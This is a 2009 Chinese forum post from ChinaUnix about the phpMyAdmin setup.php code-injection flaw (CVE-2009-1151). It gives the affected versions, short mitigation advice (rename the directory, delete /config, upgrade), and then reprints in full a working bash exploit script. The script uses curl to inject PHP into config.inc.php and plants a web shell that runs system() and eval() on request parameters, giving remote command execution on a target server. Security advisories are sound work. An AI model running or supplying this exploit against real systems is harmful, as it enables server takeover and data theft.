免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 2454 | 回复: 0
打印 上一主题 下一主题

[PHP]phpMyAdmin发现代码注射漏洞! [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2009-06-10 11:33 |只看该作者 |倒序浏览

                                                                                                phpMyAdmin发现代码注射漏洞!
此漏洞影响以下版本:
2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1
汗一个~~~
OpenBSD 4.5软件包中的就是2.11.9.4版本~~~
各位赶紧升级了吧!
对应补救方法:
  • 按照O.N.M.P.手册第二版中的方法,将phpMyAdmin的目录名改成类似agjal3baeo52rjpma的形式,以避免被攻击。
  • 删除phpMyAdmin中的/config子目录。

    看来,还是使用current版本安全点点~~~

    下面是对此漏洞的描述和注射原理:
    #!/bin/bash
    # CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11
    # by pagvac (gnucitizen.org), 4th June 2009.
    # special thanks to Greg Ose (labs.neohapsis.com) for discovering such a cool vuln,
    # and to str0ke (milw0rm.com) for testing this PoC script and providing
    # PoC script successfully tested on the following targets:
    # phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1
    # Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)
    # attack requirements:
    # 1) vulnerable version ( 2.11.x before 2.11.9.5
    # and 3.x before 3.1.3.1 according to PMASA-2009-3
    # 2) it *seems* this vuln can only be exploited against environments
    # where the administrator has chosen to install phpMyAdmin following
    # the *wizard* method, rather than manual method: http://snipurl.com/jhjxx
    # 3) administrator must have NOT deleted the '/config/' directory
    # within the '/phpMyAdmin/' directory. this is because this directory is
    # where '/scripts/setup.php' tries to create 'config.inc.php' which is where
    # our evil PHP code is injected 8)
    # more info on:
    # http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
    # http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/
    if [[ $# -ne 1 ]]
    then
        echo "usage: ./$(basename $0) "
        echo "i.e.: ./$(basename $0) http://target.tld/phpMyAdmin/"
        exit
    fi
    if ! which curl >/dev/null
    then
        echo "sorry but you need curl for this script to work!"
               echo "on Debian/Ubuntu: sudo apt-get install curl"
               exit
    fi
    function exploit {
    postdata="token=$1&action=save&configuration="\
    "a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22host%27]="\
    "%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost%22%3bs:9:"\
    "%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:"\
    "%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:"\
    "%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"
    postdata2="token=$1&action=save&configuration=a:1:"\
    "{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d="\
    "%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3b"\
    "system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}"\
    "if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval"\
    "(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//"\
    "%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22"\
    "mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:"\
    "%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config"\
    "%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"
        flag="/tmp/$(basename $0).$RANDOM.phpinfo.flag.html"
       
        echo "[+] attempting to inject phpinfo() ..."
        curl -ks -b $2 -d "$postdata" --url "$3/scripts/setup.php" >/dev/null
        if curl -ks --url "$3/config/config.inc.php" | grep "phpinfo()" >/dev/null
        then
            curl -ks --url "$3/config/config.inc.php" >$flag   
            echo "[+] success! phpinfo() injected successfully! output saved on $flag"
            curl -ks -b $2 -d $postdata2 --url "$3/scripts/setup.php" >/dev/null
            echo "[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:"
            echo "    $3/config/config.inc.php?c=ls+-l+/"
            echo "    $3/config/config.inc.php?p=phpinfo();"
            echo "    please send any feedback/improvements for this script to"\
            "unknown.pentestergmail.com"
        else
            echo "[+] no luck injecting to $3/config/config.inc.php :("
            exit
        fi
    }
    # end of exploit function
    cookiejar="/tmp/$(basename $0).$RANDOM.txt"
    token=`curl -ks -c $cookiejar --url "$1/scripts/setup.php" | grep \"token\" | head -n 1 | cut -d \" -f 12`
    echo "[+] checking if phpMyAdmin exists on URL provided ..."
    #if grep phpMyAdmin $cookiejar 2>/dev/null > /dev/null
    if grep phpMyAdmin $cookiejar &>/dev/null
    then
        length=`echo -n $token | wc -c`
        # valid form token obtained?
        if [[ $length -eq 32 ]]
        then
            echo "[+] phpMyAdmin cookie and form token received successfully. Good!"
            # attempt exploit!
            exploit $token $cookiejar $1
        else
            echo "[+] could not grab form token. you might want to try exploiting the vuln manually :("
            exit
        fi
    else
        echo "[+] phpMyAdmin NOT  phpMyAdmin base URL incorrectly typed? wrong case-sensitivity?
            exit
    fi
    相关博文:
    [原创]OpenBSD Current版本更新系统核心和已安装软件包的方法!
    [随笔]OpenBSD Current版本更新系统核心的脚本
    [原创]OpenBSD.Nginx.MySQL.PHP环境搭建手册[第二版]
    注意:如果使用OpenBSD current版本,请使用系统内置的sysmerge工具更新/etc目录!
                   
                   
                   
                   
                   
                   
                   
                   

    本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u2/81136/showart_1960741.html
  • 您需要登录后才可以回帖 登录 | 注册

    本版积分规则 发表回复

      

    北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
    未成年举报专区
    中国互联网协会会员  联系我们:huangweiwei@itpub.net
    感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

    清除 Cookies - ChinaUnix - Archiver - WAP - TOP